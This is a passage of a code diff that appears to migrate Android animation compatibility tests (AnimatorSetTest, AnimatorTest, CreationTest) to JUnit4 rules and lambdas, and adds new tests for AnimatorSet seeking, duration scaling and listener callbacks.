     public void testPlayTogether() throws Throwable {
         xAnimator.setRepeatCount(ValueAnimator.INFINITE);
         Animator[] animatorArray = {xAnimator, yAnimator};
@@ -148,7 +209,7 @@
         assertFalse(xAnimator.isRunning());
         assertFalse(yAnimator.isRunning());
         startAnimation(mAnimatorSet);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         assertTrue(mAnimatorSet.isRunning());
         assertTrue(xAnimator.isRunning());
         assertTrue(yAnimator.isRunning());
@@ -163,12 +224,13 @@
         assertFalse(anim1.isRunning());
         assertFalse(anim2.isRunning());
         startAnimation(set);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         assertTrue(set.isRunning());
         assertTrue(anim1.isRunning());
         assertTrue(anim2.isRunning());
     }
 
+    @Test
     public void testPlayBeforeAfter() throws Throwable {
         xAnimator.setRepeatCount(0);
         yAnimator.setRepeatCount(0);
@@ -184,6 +246,39 @@
         verifySequentialPlayOrder(set, new Animator[] {xAnimator, yAnimator, zAnimator});
     }
 
+    @Test
+    public void testListenerCallbackOnEmptySet() throws Throwable {
+        // Create an AnimatorSet that only contains one empty AnimatorSet, and checks the callback
+        // sequence by checking the time stamps of the callbacks.
+        final AnimatorSet emptySet = new AnimatorSet();
+        final AnimatorSet set = new AnimatorSet();
+        set.play(emptySet);
+        MyListener listener = new MyListener() {
+            long startTime = 0;
+            long endTime = 0;
+            @Override
+            public void onAnimationStart(Animator animation) {
+                super.onAnimationStart(animation);
+                startTime = SystemClock.currentThreadTimeMillis();
+            }
+
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                super.onAnimationEnd(animation);
+                endTime = SystemClock.currentThreadTimeMillis();
+                assertTrue(endTime >= startTime);
+                assertTrue(startTime != 0);
+            }
+        };
+        set.addListener(listener);
+        mActivityRule.runOnUiThread(() -> {
+            set.start();
+        });
+        assertTrue(listener.mStartIsCalled);
+        assertTrue(listener.mEndIsCalled);
+    }
+
+    @Test
     public void testPauseAndResume() throws Throwable {
         final AnimatorSet set = new AnimatorSet();
         ValueAnimator a1 = ValueAnimator.ofFloat(0f, 100f);
@@ -212,20 +307,17 @@
         set.addListener(l1);
         delayedSet.addListener(l2);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                set.start();
-                delayedSet.start();
+        mActivityRule.runOnUiThread(() -> {
+            set.start();
+            delayedSet.start();
 
-                // Pause the delayed set during start delay
-                delayedSet.pause();
-            }
+            // Pause the delayed set during start delay
+            delayedSet.pause();
         });
 
         // Sleep long enough so that if the sets are not properly paused, they would have
         // finished.
-        Thread.sleep(300);
+        SystemClock.sleep(300);
         // Verify that both sets have been paused and *not* finished.
         assertTrue(set.isPaused());
         assertTrue(delayedSet.isPaused());
@@ -234,14 +326,11 @@
         assertFalse(l1.mEndIsCalled);
         assertFalse(l2.mEndIsCalled);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                set.resume();
-                delayedSet.resume();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            set.resume();
+            delayedSet.resume();
         });
-        Thread.sleep(300);
+        SystemClock.sleep(300);
 
         assertFalse(set.isPaused());
         assertFalse(delayedSet.isPaused());
@@ -249,6 +338,7 @@
         assertTrue(l2.mEndIsCalled);
     }
 
+    @Test
     public void testPauseBeforeStart() throws Throwable {
         final AnimatorSet set = new AnimatorSet();
         ValueAnimator a1 = ValueAnimator.ofFloat(0f, 100f);
@@ -261,23 +351,21 @@
         final MyListener listener = new MyListener();
         set.addListener(listener);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                // Pause animator set before calling start()
-                set.pause();
-                // Verify that pause should have no effect on a not-yet-started animator.
-                assertFalse(set.isPaused());
-                set.start();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            // Pause animator set before calling start()
+            set.pause();
+            // Verify that pause should have no effect on a not-yet-started animator.
+            assertFalse(set.isPaused());
+            set.start();
         });
-        Thread.sleep(300);
+        SystemClock.sleep(300);
 
         // Animator set should finish running by now since it's not paused.
         assertTrue(listener.mStartIsCalled);
         assertTrue(listener.mEndIsCalled);
     }
 
+    @Test
     public void testDuration() throws Throwable {
         xAnimator.setRepeatCount(ValueAnimator.INFINITE);
         Animator[] animatorArray = { xAnimator, yAnimator };
@@ -287,10 +375,11 @@
         mAnimatorSet.setDuration(1000);
 
         startAnimation(mAnimatorSet);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         assertEquals(mAnimatorSet.getDuration(), 1000);
     }
 
+    @Test
     public void testStartDelay() throws Throwable {
         xAnimator.setRepeatCount(ValueAnimator.INFINITE);
         Animator[] animatorArray = { xAnimator, yAnimator };
@@ -300,20 +389,190 @@
         mAnimatorSet.setStartDelay(10);
 
         startAnimation(mAnimatorSet);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         assertEquals(mAnimatorSet.getStartDelay(), 10);
     }
 
-    public void testgetChildAnimations() throws Throwable {
+    /**
+     * This test sets up an AnimatorSet with start delay. One of the child animators also has
+     * start delay. We then verify that start delay was handled correctly on both AnimatorSet
+     * and individual animator level.
+     */
+    @Test
+    public void testReverseWithStartDelay() throws Throwable {
+        ValueAnimator a1 = ValueAnimator.ofFloat(0f, 1f);
+        a1.setDuration(200);
+        Animator.AnimatorListener listener1 = mock(AnimatorListenerAdapter.class);
+        a1.addListener(listener1);
+
+        ValueAnimator a2 = ValueAnimator.ofFloat(1f, 2f);
+        a2.setDuration(200);
+        // Set start delay on a2 so that the delay is passed 100ms after a1 is finished.
+        a2.setStartDelay(300);
+        Animator.AnimatorListener listener = mock(AnimatorListenerAdapter.class);
+        a2.addListener(listener);
+
+        a2.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation, boolean inReverse) {
+                assertTrue(inReverse);
+                // By the time a2 finishes reversing, a1 should not have started.
+                assertFalse(a1.isStarted());
+            }
+        });
+
+        AnimatorSet set = new AnimatorSet();
+        set.playTogether(a1, a2);
+        set.setStartDelay(1000);
+        Animator.AnimatorListener setListener = mock(AnimatorListenerAdapter.class);
+        set.addListener(setListener);
+        mActivityRule.runOnUiThread(() -> {
+            set.reverse();
+            assertTrue(a2.isStarted());
+            assertTrue(a2.isRunning());
+        });
+
+        // a2 should finish 200ms after reverse started
+        verify(listener, within(300)).onAnimationEnd(a2, true);
+        // When a2 finishes, a1 should not have started yet
+        verify(listener1, never()).onAnimationStart(a1, true);
+
+        // The whole set should finish within 500ms, i.e. 300ms after a2 is finished. This verifies
+        // that the AnimatorSet didn't mistakenly use its start delay in the reverse run.
+        verify(setListener, within(400)).onAnimationEnd(set, true);
+        verify(listener1, times(1)).onAnimationEnd(a1, true);
+
+    }
+
+    /**
+     * Test that duration scale is handled correctly in the AnimatorSet.
+     */
+    @Test
+    public void testZeroDurationScale() throws Throwable {
+        ValueAnimator.setDurationScale(0);
+
+        ValueAnimator a1 = ValueAnimator.ofFloat(0f, 1f);
+        a1.setDuration(200);
+        Animator.AnimatorListener listener1 = mock(AnimatorListenerAdapter.class);
+        a1.addListener(listener1);
+
+        ValueAnimator a2 = ValueAnimator.ofFloat(1f, 2f);
+        a2.setDuration(200);
+        // Set start delay on a2 so that the delay is passed 100ms after a1 is finished.
+        a2.setStartDelay(300);
+        Animator.AnimatorListener listener2 = mock(AnimatorListenerAdapter.class);
+        a2.addListener(listener2);
+
+        AnimatorSet set = new AnimatorSet();
+        set.playSequentially(a1, a2);
+        set.setStartDelay(1000);
+        Animator.AnimatorListener setListener = mock(AnimatorListenerAdapter.class);
+        set.addListener(setListener);
+
+        mActivityRule.runOnUiThread(() -> {
+            set.start();
+            verify(setListener, times(0)).onAnimationEnd(any(AnimatorSet.class),
+                    any(boolean.class));
+        });
+        verify(setListener, within(100)).onAnimationEnd(set, false);
+        verify(listener1, times(1)).onAnimationEnd(a1, false);
+        verify(listener2, times(1)).onAnimationEnd(a2, false);
+    }
+
+    /**
+     * Test that non-zero duration scale is handled correctly in the AnimatorSet.
+     */
+    @Test
+    public void testDurationScale() throws Throwable {
+        // Change the duration scale to 3
+        ValueAnimator.setDurationScale(3f);
+
+        ValueAnimator a1 = ValueAnimator.ofFloat(0f, 1f);
+        a1.setDuration(100);
+        Animator.AnimatorListener listener1 = mock(AnimatorListenerAdapter.class);
+        a1.addListener(listener1);
+
+        ValueAnimator a2 = ValueAnimator.ofFloat(1f, 2f);
+        a2.setDuration(100);
+        // Set start delay on a2 so that the delay is passed 100ms after a1 is finished.
+        a2.setStartDelay(200);
+        Animator.AnimatorListener listener2 = mock(AnimatorListenerAdapter.class);
+        a2.addListener(listener2);
+
+        AnimatorSet set = new AnimatorSet();
+        set.playSequentially(a1, a2);
+        Animator.AnimatorListener setListener = mock(AnimatorListenerAdapter.class);
+        set.addListener(setListener);
+        set.setStartDelay(200);
+
+        mActivityRule.runOnUiThread(() -> {
+            set.start();
+        });
+
+        // Sleep for part of the start delay and check that no child animator has started, to verify
+        // that the duration scale has been properly scaled.
+        SystemClock.sleep(400);
+        // start delay of the set should be scaled to 600ms
+        verify(listener1, never()).onAnimationStart(a1, false);
+        verify(listener2, never()).onAnimationStart(a2, false);
+
+        verify(listener1, within(400)).onAnimationStart(a1, false);
+        // Verify that a1 finish in ~300ms (3x its defined duration)
+        verify(listener1, within(500)).onAnimationEnd(a1, false);
+
+        // a2 should be in the delayed stage after a1 is finished
+        assertTrue(a2.isStarted());
+        assertFalse(a2.isRunning());
+
+        verify(listener2, within(800)).onAnimationStart(a2, false);
+        assertTrue(a2.isRunning());
+
+        // Verify that the AnimatorSet has finished within 1650ms since the start of the animation.
+        // The duration of the set is 500ms, duration scale = 3.
+        verify(setListener, within(500)).onAnimationEnd(set, false);
+        verify(listener1, times(1)).onAnimationEnd(a1, false);
+        verify(listener2, times(1)).onAnimationEnd(a2, false);
+    }
+
+    /**
+     * This test sets up 10 animators playing together. We expect the start time for all animators
+     * to be the same.
+     */
+    @Test
+    public void testMultipleAnimatorsPlayTogether() throws Throwable {
+        Animator[] animators = new Animator[10];
+        for (int i = 0; i < 10; i++) {
+            animators[i] = ValueAnimator.ofFloat(0f, 1f);
+        }
+        AnimatorSet set = new AnimatorSet();
+        set.playTogether(animators);
+        set.setStartDelay(80);
+
+        Animator.AnimatorListener setListener = mock(AnimatorListenerAdapter.class);
+        set.addListener(setListener);
+        mActivityRule.runOnUiThread(() -> {
+            set.start();
+        });
+        SystemClock.sleep(150);
+        for (int i = 0; i < 10; i++) {
+            assertTrue(animators[i].isRunning());
+        }
+
+        verify(setListener, within(400)).onAnimationEnd(set, false);
+    }
+
+    @Test
+    public void testGetChildAnimations() throws Throwable {
         Animator[] animatorArray = { xAnimator, yAnimator };
 
         mAnimatorSet = new AnimatorSet();
-        ArrayList<Animator> childAnimations = mAnimatorSet.getChildAnimations();
+        mAnimatorSet.getChildAnimations();
         assertEquals(0, mAnimatorSet.getChildAnimations().size());
         mAnimatorSet.playSequentially(animatorArray);
         assertEquals(2, mAnimatorSet.getChildAnimations().size());
     }
 
+    @Test
     public void testSetInterpolator() throws Throwable {
         xAnimator.setRepeatCount(ValueAnimator.INFINITE);
         Animator[] animatorArray = {xAnimator, yAnimator};
@@ -324,14 +583,14 @@
 
         assertFalse(mAnimatorSet.isRunning());
         startAnimation(mAnimatorSet);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
 
         ArrayList<Animator> animatorList = mAnimatorSet.getChildAnimations();
-        assertEquals(interpolator, ((ObjectAnimator)animatorList.get(0)).getInterpolator());
-        assertEquals(interpolator, ((ObjectAnimator)animatorList.get(1)).getInterpolator());
+        assertEquals(interpolator, animatorList.get(0).getInterpolator());
+        assertEquals(interpolator, animatorList.get(1).getInterpolator());
     }
 
-    public ObjectAnimator getXAnimator(Object object) {
+    private ObjectAnimator getXAnimator(Object object) {
         String propertyX = "x";
         float startX = mActivity.mStartX;
         float endX = mActivity.mStartX + mActivity.mDeltaX;
@@ -343,7 +602,7 @@
         return xAnimator;
     }
 
-    public ObjectAnimator getYAnimator(Object object) {
+    private ObjectAnimator getYAnimator(Object object) {
          String property = "y";
          float startY = mActivity.mStartY;
          float endY = mActivity.mStartY + mActivity.mDeltaY;
@@ -356,11 +615,7 @@
     }
 
     private void startAnimation(final AnimatorSet animatorSet) throws Throwable {
-        this.runTestOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.startAnimatorSet(animatorSet);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mActivity.startAnimatorSet(animatorSet));
     }
 
     private void assertUnique(Object object) {
@@ -373,6 +628,7 @@
 
     }
 
+    @Test
     public void testClone() throws Throwable {
         final AnimatorSet set1 = new AnimatorSet();
         final AnimatorListenerAdapter setListener = new AnimatorListenerAdapter() {};
@@ -397,12 +653,7 @@
 
         AnimateObject target = new AnimateObject();
         set1.setTarget(target);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                set1.start();
-            }
-        });
+        mActivityRule.runOnUiThread(set1::start);
         assertTrue(set1.isStarted());
 
         animator1.getListeners();
@@ -438,12 +689,233 @@
         assertSame(animator2.getInterpolator(), clone2.getInterpolator());
     }
 
+    /**
+     * Testing seeking in an AnimatorSet containing sequential animators.
+     */
+    @Test
+    public void testSeeking() throws Throwable {
+        final AnimatorSet set = new AnimatorSet();
+        final ValueAnimator a1 = ValueAnimator.ofFloat(0f, 150f);
+        a1.setDuration(150);
+        final ValueAnimator a2 = ValueAnimator.ofFloat(150f, 250f);
+        a2.setDuration(100);
+        final ValueAnimator a3 = ValueAnimator.ofFloat(250f, 300f);
+        a3.setDuration(50);
+
+        a1.setInterpolator(null);
+        a2.setInterpolator(null);
+        a3.setInterpolator(null);
+
+        set.playSequentially(a1, a2, a3);
+
+        set.setCurrentPlayTime(100);
+        assertEquals(100f, (Float) a1.getAnimatedValue(), EPSILON);
+        assertEquals(150f, (Float) a2.getAnimatedValue(), EPSILON);
+        assertEquals(250f, (Float) a3.getAnimatedValue(), EPSILON);
+
+        set.setCurrentPlayTime(280);
+        assertEquals(150f, (Float) a1.getAnimatedValue(), EPSILON);
+        assertEquals(250f, (Float) a2.getAnimatedValue(), EPSILON);
+        assertEquals(280f, (Float) a3.getAnimatedValue(), EPSILON);
+
+        AnimatorListenerAdapter setListener = new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                super.onAnimationEnd(animation);
+                assertEquals(150f, (Float) a1.getAnimatedValue(), EPSILON);
+                assertEquals(250f, (Float) a2.getAnimatedValue(), EPSILON);
+                assertEquals(300f, (Float) a3.getAnimatedValue(), EPSILON);
+
+            }
+        };
+        AnimatorListenerAdapter mockListener = mock(AnimatorListenerAdapter.class);
+        set.addListener(setListener);
+        set.addListener(mockListener);
+        mActivityRule.runOnUiThread(() -> {
+            set.start();
+        });
+
+        verify(mockListener, within(300)).onAnimationEnd(set, false);
+
+        // Seek after a run to the middle-ish, and verify the first animator is at the end
+        // value and the 3rd at beginning value, and the 2nd animator is at the seeked value.
+        set.setCurrentPlayTime(200);
+        assertEquals(150f, (Float) a1.getAnimatedValue(), EPSILON);
+        assertEquals(200f, (Float) a2.getAnimatedValue(), EPSILON);
+        assertEquals(250f, (Float) a3.getAnimatedValue(), EPSILON);
+    }
+
+    /**
+     * Testing seeking in an AnimatorSet containing infinite animators.
+     */
+    @Test
+    public void testSeekingInfinite() {
+        final AnimatorSet set = new AnimatorSet();
+        final ValueAnimator a1 = ValueAnimator.ofFloat(0f, 100f);
+        a1.setDuration(100);
+        final ValueAnimator a2 = ValueAnimator.ofFloat(100f, 200f);
+        a2.setDuration(100);
+        a2.setRepeatCount(ValueAnimator.INFINITE);
+        a2.setRepeatMode(ValueAnimator.RESTART);
+
+        final ValueAnimator a3 = ValueAnimator.ofFloat(100f, 200f);
+        a3.setDuration(100);
+        a3.setRepeatCount(ValueAnimator.INFINITE);
+        a3.setRepeatMode(ValueAnimator.REVERSE);
+
+        a1.setInterpolator(null);
+        a2.setInterpolator(null);
+        a3.setInterpolator(null);
+        set.play(a1).before(a2);
+        set.play(a1).before(a3);
+
+        set.setCurrentPlayTime(50);
+        assertEquals(50f, (Float) a1.getAnimatedValue(), EPSILON);
+        assertEquals(100f, (Float) a2.getAnimatedValue(), EPSILON);
+        assertEquals(100f, (Float) a3.getAnimatedValue(), EPSILON);
+
+        set.setCurrentPlayTime(100);
+        assertEquals(100f, (Float) a1.getAnimatedValue(), EPSILON);
+        assertEquals(100f, (Float) a2.getAnimatedValue(), EPSILON);
+        assertEquals(100f, (Float) a3.getAnimatedValue(), EPSILON);
+
+        // Seek to the 1st iteration of the infinite repeat animators, and they should have the
+        // same value.
+        set.setCurrentPlayTime(180);
+        assertEquals(100f, (Float) a1.getAnimatedValue(), EPSILON);
+        assertEquals(180f, (Float) a2.getAnimatedValue(), EPSILON);
+        assertEquals(180f, (Float) a3.getAnimatedValue(), EPSILON);
+
+        // Seek to the 2nd iteration of the infinite repeat animators, and they should have
+        // different values as they have different repeat mode.
+        set.setCurrentPlayTime(280);
+        assertEquals(100f, (Float) a1.getAnimatedValue(), EPSILON);
+        assertEquals(180f, (Float) a2.getAnimatedValue(), EPSILON);
+        assertEquals(120f, (Float) a3.getAnimatedValue(), EPSILON);
+
+    }
+
+    /**
+     * This test verifies that getCurrentPlayTime() returns the right value.
+     */
+    @Test
+    public void testGetCurrentPlayTime() throws Throwable {
+        // Setup an AnimatorSet with start delay
+        final AnimatorSet set = new AnimatorSet();
+        final ValueAnimator anim = ValueAnimator.ofFloat(0f, 1f).setDuration(300);
+        anim.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationStart(Animator animation, boolean inReverse) {
+                assertFalse(inReverse);
+                assertTrue(set.getCurrentPlayTime() >= 200);
+            }
+        });
+        set.play(anim);
+        set.setStartDelay(100);
+
+        Animator.AnimatorListener setListener = mock(AnimatorListenerAdapter.class);
+        set.addListener(setListener);
+
+        // Set a seek time and verify, before start
+        set.setCurrentPlayTime(20);
+        assertEquals(20, set.getCurrentPlayTime());
+
+        // Now start() should start right away from the seeked position, skipping the delay.
+        mActivityRule.runOnUiThread(() -> {
+            set.setCurrentPlayTime(200);
+            set.start();
+            assertEquals(200, set.getCurrentPlayTime());
+        });
+
+        // When animation is seeked to 200ms, it should take another 100ms to end.
+        verify(setListener, within(200)).onAnimationEnd(set, false);
+    }
+
+    @Test
+    public void testNotifiesAfterEnd() throws Throwable {
+        final ValueAnimator animator = ValueAnimator.ofFloat(0, 1);
+        Animator.AnimatorListener listener = new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationStart(Animator animation) {
+                assertTrue(animation.isStarted());
+                assertTrue(animation.isRunning());
+            }
+
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                assertFalse(animation.isRunning());
+                assertFalse(animation.isStarted());
+                super.onAnimationEnd(animation);
+            }
+        };
+        animator.addListener(listener);
+        final AnimatorSet animatorSet = new AnimatorSet();
+        animatorSet.playTogether(animator);
+        animatorSet.addListener(listener);
+        mActivityRule.runOnUiThread(() -> {
+            animatorSet.start();
+            animator.end();
+            assertFalse(animator.isStarted());
+        });
+    }
+
+    /**
+     *
+     * This test verifies that custom ValueAnimators will be start()'ed in a set.
+     */
+    @Test
+    public void testChildAnimatorStartCalled() throws Throwable {
+        MyValueAnimator a1 = new MyValueAnimator();
+        MyValueAnimator a2 = new MyValueAnimator();
+        AnimatorSet set = new AnimatorSet();
+        set.playTogether(a1, a2);
+        mActivityRule.runOnUiThread(() -> {
+            set.start();
+            assertTrue(a1.mStartCalled);
+            assertTrue(a2.mStartCalled);
+        });
+
+    }
+
+    /**
+     * This test sets up an AnimatorSet that contains two sequential animations. The first animation
+     * is infinite, the second animation therefore has an infinite start time. This test verifies
+     * that the infinite start time is handled correctly.
+     */
+    @Test
+    public void testInfiniteStartTime() throws Throwable {
+        ValueAnimator a1 = ValueAnimator.ofFloat(0f, 1f);
+        a1.setRepeatCount(ValueAnimator.INFINITE);
+        ValueAnimator a2 = ValueAnimator.ofFloat(0f, 1f);
+
+        AnimatorSet set = new AnimatorSet();
+        set.playSequentially(a1, a2);
+
+        mActivityRule.runOnUiThread(() -> {
+            set.start();
+        });
+
+        assertEquals(Animator.DURATION_INFINITE, set.getTotalDuration());
+
+        mActivityRule.runOnUiThread(() -> {
+            set.end();
+        });
+    }
+
+    static class TargetObj {
+        public float value = 0;
+
+        public void setVal(float value) {
+            this.value = value;
+        }
+    }
+
     class AnimateObject {
         int x = 1;
         int y = 2;
     }
 
-    class MyListener extends AnimatorListenerAdapter {
+    static class MyListener extends AnimatorListenerAdapter {
         boolean mStartIsCalled = false;
         boolean mEndIsCalled = false;
 
@@ -455,4 +927,13 @@
             mEndIsCalled = true;
         }
     }
+
+    static class MyValueAnimator extends ValueAnimator {
+        boolean mStartCalled = false;
+        @Override
+        public void start() {
+            // Do not call super intentionally.
+            mStartCalled = true;
+        }
+    }
 }
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
index a08a5eb..655eb1c 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
@@ -15,41 +15,63 @@
  */
 package android.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
 import android.animation.Animator;
 import android.animation.ObjectAnimator;
 import android.animation.ValueAnimator;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.app.Instrumentation;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AccelerateInterpolator;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.List;
 
-public class AnimatorTest extends ActivityInstrumentationTestCase2<AnimationActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AnimatorTest {
     private AnimationActivity mActivity;
     private Animator mAnimator;
     private long mDuration = 1000;
-    public AnimatorTest() {
-        super(AnimationActivity.class);
-    }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        setActivityInitialTouchMode(false);
-        mActivity = getActivity();
+    @Rule
+    public ActivityTestRule<AnimationActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationActivity.class);
+
+    @Before
+    public void setup() {
+        InstrumentationRegistry.getInstrumentation().setInTouchMode(false);
+        mActivity = mActivityRule.getActivity();
         mAnimator = mActivity.createAnimatorWithDuration(mDuration);
     }
 
+    @Test
     public void testConstructor() {
         mAnimator = new ValueAnimator();
         assertNotNull(mAnimator);
     }
 
+    @Test
     public void testClone() {
         Animator animatorClone = mAnimator.clone();
         assertEquals(mAnimator.getDuration(), animatorClone.getDuration());
     }
 
+    @Test
     public void testStartDelay() {
         long startDelay = 1000;
         mAnimator.setStartDelay(startDelay);
@@ -57,12 +79,14 @@
     }
 
     @UiThreadTest
+    @Test
     public void testStart() throws Exception {
         mAnimator.start();
         assertTrue(mAnimator.isRunning());
         assertTrue(mAnimator.isStarted());
     }
 
+    @Test
     public void testGetDuration() throws Throwable {
         final long duration = 2000;
         Animator animatorLocal = mActivity.createAnimatorWithDuration(duration);
@@ -70,12 +94,14 @@
         assertEquals(duration, animatorLocal.getDuration());
     }
 
+    @Test
     public void testIsRunning() throws Throwable {
         assertFalse(mAnimator.isRunning());
         startAnimation(mAnimator);
         assertTrue(mAnimator.isRunning());
     }
 
+    @Test
     public void testIsStarted() throws Throwable {
         assertFalse(mAnimator.isRunning());
         assertFalse(mAnimator.isStarted());
@@ -86,6 +112,7 @@
         assertTrue(mAnimator.isStarted());
     }
 
+    @Test
     public void testSetInterpolator() throws Throwable {
         AccelerateInterpolator interpolator = new AccelerateInterpolator();
         ValueAnimator mValueAnimator = mActivity.createAnimatorWithInterpolator(interpolator);
@@ -93,17 +120,15 @@
         assertTrue(interpolator.equals(mValueAnimator.getInterpolator()));
     }
 
+    @Test
     public void testCancel() throws Throwable {
         startAnimation(mAnimator);
-        Thread.sleep(100);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAnimator.cancel();
-            }
-        });
+        SystemClock.sleep(100);
+        mActivityRule.runOnUiThread(mAnimator::cancel);
         assertFalse(mAnimator.isRunning());
     }
 
+    @Test
     public void testEnd() throws Throwable {
         Object object = mActivity.view.newBall;
         String property = "y";
@@ -115,13 +140,15 @@
         animator.setInterpolator(new AccelerateInterpolator());
         ((ObjectAnimator)animator).setRepeatMode(ValueAnimator.REVERSE);
         startAnimation(animator);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         endAnimation(animator);
         float y = mActivity.view.newBall.getY();
-        assertEquals(y, endY);
+        assertEquals(y, endY, 0.0f);
     }
 
+    @Test
     public void testSetListener() throws Throwable {
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         List<Animator.AnimatorListener> listListeners = mAnimator.getListeners();
         assertNull(listListeners);
         MyListener listener = new MyListener();
@@ -131,29 +158,22 @@
         mAnimator.addListener(listener);
         mAnimator.setDuration(100l);
         startAnimation(mAnimator);
-        Thread.sleep(200);
+        SystemClock.sleep(200);
 
         assertTrue(listener.mStart);
         assertFalse(listener.mEnd);
         assertTrue(listener.mRepeat >= 0);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mAnimator.cancel();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(mAnimator::cancel);
+        instrumentation.waitForIdleSync();
         assertTrue(listener.mCancel);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mAnimator.end();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(mAnimator::end);
+        instrumentation.waitForIdleSync();
         assertTrue(listener.mEnd);
     }
 
+    @Test
     public void testRemoveListener() throws Throwable {
         List<Animator.AnimatorListener> listListenersOne = mAnimator.getListeners();
         assertNull(listListenersOne);
@@ -168,6 +188,7 @@
         assertNull(listListenersThree);
     }
 
+    @Test
     public void testRemoveAllListenerers() throws Throwable {
         MyListener listener1 = new MyListener();
         MyListener listener2 = new MyListener();
@@ -182,7 +203,8 @@
         assertNull(listListenersTwo);
     }
 
-    public void testNullObjectAnimator()  throws Throwable {
+    @Test
+    public void testNullObjectAnimator() throws Throwable {
         Object object = mActivity.view.newBall;
         final ObjectAnimator animator = ObjectAnimator.ofFloat(object, "y", 0, 100);
         MyListener listener = new MyListener();
@@ -191,15 +213,10 @@
         startAnimation(animator);
         int sleepCount = 0;
         while (mActivity.view.newBall.getY() == 0 && sleepCount++ < 50) {
-            Thread.sleep(1);
+            SystemClock.sleep(1);
         }
         assertNotSame(0, mActivity.view.newBall.getY());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                animator.setTarget(null);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> animator.setTarget(null));
         assertTrue(listener.mCancel);
     }
 
@@ -226,20 +243,11 @@
         }
     }
     private void startAnimation(final Animator animator) throws Throwable {
-        this.runTestOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.startAnimation(animator);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mActivity.startAnimation(animator));
     }
 
     private void endAnimation(final Animator animator) throws Throwable {
-        Thread animationRunnable = new Thread() {
-            public void run() {
-                animator.end();
-            }
-        };
-        this.runTestOnUiThread(animationRunnable);
+        mActivityRule.runOnUiThread(animator::end);
     }
 }
 
diff --git a/tests/tests/animation/src/android/animation/cts/ButtonViewActivity.java b/tests/tests/animation/src/android/animation/cts/ButtonViewActivity.java
index fe66951..6d288c6 100644
--- a/tests/tests/animation/src/android/animation/cts/ButtonViewActivity.java
+++ b/tests/tests/animation/src/android/animation/cts/ButtonViewActivity.java
@@ -19,8 +19,6 @@
 import android.app.Activity;
 import android.os.Bundle;
 
-import android.animation.cts.R;
-
 public class ButtonViewActivity extends Activity {
 
     @Override
diff --git a/tests/tests/animation/src/android/animation/cts/CreationTest.java b/tests/tests/animation/src/android/animation/cts/CreationTest.java
index f45f64b..5bdd2a6 100644
--- a/tests/tests/animation/src/android/animation/cts/CreationTest.java
+++ b/tests/tests/animation/src/android/animation/cts/CreationTest.java
@@ -16,38 +16,48 @@
 
 package android.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.animation.AnimatorInflater;
 import android.animation.ObjectAnimator;
-import android.animation.PropertyValuesHolder;
 import android.animation.ValueAnimator;
-import android.os.Debug;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 
-import android.animation.cts.R;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class CreationTest extends ActivityInstrumentationTestCase2<ButtonViewActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class CreationTest {
+    private static final float EPSILON = 0.0001f;
 
     private ButtonViewActivity mActivity;
 
-    public CreationTest() {
-        super(ButtonViewActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ButtonViewActivity> mActivityRule =
+            new ActivityTestRule<>(ButtonViewActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        setActivityInitialTouchMode(false);
-        mActivity = getActivity();
+    @Before
+    public void setup() {
